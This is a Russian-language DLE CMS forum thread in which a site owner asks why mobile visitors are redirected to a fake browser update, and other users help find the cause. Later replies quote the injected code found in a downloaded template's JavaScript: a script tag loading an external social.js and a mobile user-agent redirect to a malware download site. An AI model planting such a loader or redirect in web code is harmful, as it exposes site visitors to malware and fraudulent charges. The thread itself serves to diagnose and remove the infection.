Не нравятся результаты поиска? Попробуйте другой поиск!

DLE FAQ » Все вопросы » Ламерские вопросы » Бяка на сайте!

Бяка на сайте!

tonik 14.02.2014 вирус Все вопросы » Ламерские вопросы 3701

вопрос

Здравствуйте мастера!
Будьте добры, помогите с проблемой.

Установлена 10.1... Захожу на сайт с ПК, ничего подозрительного не происходит...
Стоит зайти с планшета или телефона (мобильная версия) идёт переадресация на установку обновления для браузера, которое в свою очередь является вредоносным ПО подключающим услуги с абан платой...

В шаблонах левых ссылок нет, а дальше где рыться понятия не имею...

Ответа пока нет

24 комментария

Юзер

301

Kolya groza morey - 2015-06-1714 февраля 2014 12:31 - #23498

Скрипт нулённый?

Юзер

tonik - 2015-06-1714 февраля 2014 12:32 - #23499

Нет... Оф версия

Юзер

494

Gopr - 2015-06-1714 февраля 2014 12:44 - #23500

Такой шаблон стоит?
Если да то про него везде по разному пишут:
1. В jquery.masonry.min.js вшит <script type='text/javascript' src='http://demo10.8dle.ru/social.js'></script>
2. В файле jquery.masonry.min.js стоит редирект для телефонов на fileoso.com.
3. bxslider.js и modernizr.js

Юзер

tonik - 2015-06-1714 февраля 2014 12:47 - #23501

Шаблон не этот, но посмотрю в файлах...
Спасибо за направление!

Админ

3457

ПафНутиЙ - 2015-06-1714 февраля 2014 20:35 - #23524

Шаблоны покупать надо, а не скачивать бесплатно платные и будет всё ок)

Каков вопрос - таков и ответ. Просто помните об этом.

Юзер

tonik - 2015-06-1714 февраля 2014 12:54 - #23502

Неа... не получается...
Переименовывал JS файлы, периадресация так и идёт...

Юзер

sergio.lamborghini - 2015-06-1714 февраля 2014 14:38 - #23514

К внимательному прочтению.

Юзер

102

RadarWeb - 2015-06-1714 февраля 2014 15:38 - #23517

в .htaccess не забывай искать, шаблон не всегда в этом виноват

Юзер

sergio.lamborghini - 2015-06-1714 февраля 2014 15:49 - #23518

Так двигло то не нулл, официальное говорит, целсофтовское.. Тут только шаб полностью перетряхать, все tpl/ы, все жабаскрипты, вообще всё.. Или покупать нормальный шаб у разраба дорожащего своим именем, а не школоло адаптации шабов на которых построены сотни, если не тысячи ГС..

Юзер

102

RadarWeb - 2015-06-1714 февраля 2014 15:59 - #23519

Нулл не нулл, а на настройки доступа к файлам на сервере это не влияет, так что если есть файлы доступные для записи, то искать надо везде, а .htaccess это самый частый пример я привел

Юзер

sobakatochkaru - 2015-06-1714 февраля 2014 16:09 - #23520

если на шаб подозрение то почему бы не включить другой и посмотреть идёт редирект или нет.

Админ

3457

ПафНутиЙ - 2015-06-1714 февраля 2014 20:36 - #23525

Адрес то у сайта есть?

Каков вопрос - таков и ответ. Просто помните об этом.

Юзер

206

fh79655l123 - 2015-06-1715 февраля 2014 00:58 - #23530

У меня тоже 10.1 Увидев этот вопрос я решил проверить тоже как откроется на смартфоне и тоже идет переадресация на какое-то файл обновления вроде... С сайта fileoso.com.

PHP-developer

2583

vitnet - 2015-06-1716 февраля 2014 17:33 - #23652

отписал в лс

Юзер

frizoro - 2015-06-1715 февраля 2014 07:04 - #23547

tonik, Проверить сайт на внешние ссылки с помощью расширения для chrome - SEOquake
Полезная вещь.
Или дайте ссылку в ЛП, сам посмотрю.

Юзер

tonik - 2015-06-1715 февраля 2014 15:13 - #23569

Адрес сайта:
http://sck-altay.ru

Юзер

tonik - 2015-06-1715 февраля 2014 15:56 - #23573

Да...
Изменил шаблон, помогло...
Один фиг... всё перерыл, не могу найти БЯКУ...

Юзер

494

Gopr - 2015-06-1715 февраля 2014 16:46 - #23581

Один фиг... всё перерыл, не могу найти БЯКУ...

Ссылка в коде может быть зашифрована...

Юзер

tonik - 2015-06-1715 февраля 2014 16:10 - #23577

В .htaccess

Order allow,deny
Deny from all

<FilesMatch "\.(css)$|^$">
   Order deny,allow
   Allow from all
</FilesMatch>

меняю на:

Order Deny,Allow
Deny from all

переадресация пропадает, но и мобильная версия не запускается

Юзер

206

fh79655l123 - 2015-06-1715 февраля 2014 16:18 - #23579

Вы пишете редирект а я не понимаю что имено искать под словом редирект
У меня идет переадресация на fileoso.com. значит искать этот сайт в файлах?

Юзер

tonik - 2015-06-1715 февраля 2014 17:29 - #23593

Всё... череп разбил...
Вот ссылка на исходный шаблон: http://yadi.sk/d/9kdSt_0bHvd9P
Честно... мозга не хватает...!!!

Юзер

tonik - 2015-06-1717 февраля 2014 07:57 - #23693

Так и не победил... ):

Юзер

iwanowi4 - 2015-06-1717 февраля 2014 11:50 - #23703

Цитата: tonik

Так и не победил... ):

tonik, ну а как ты искал то?
В файле coin-slider.min.js в самом низу

document.write("<script type='text/javascript' src='http://newdownload.ru/social.js'></script>");

и вот он подгружаемый скрипт...

<!--
if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|iphone|ipad)/i)!==null){
  window.location = "http://fileoso.com/twitter/u/11874/twitter.auto";
}
//-->

PHP-developer

3199

dj-avtosh - 2015-06-1720 февраля 2014 01:31 - #23819

Надо было мне написать, я бы нашел))

По заказам пишем сюда: @Rud00y

ЯД: 41001679231462
Заказы в telegram (ремонт модулей, оптимизация нагрузок и т.п.):
В телегу писать сразу задачу и бюджет.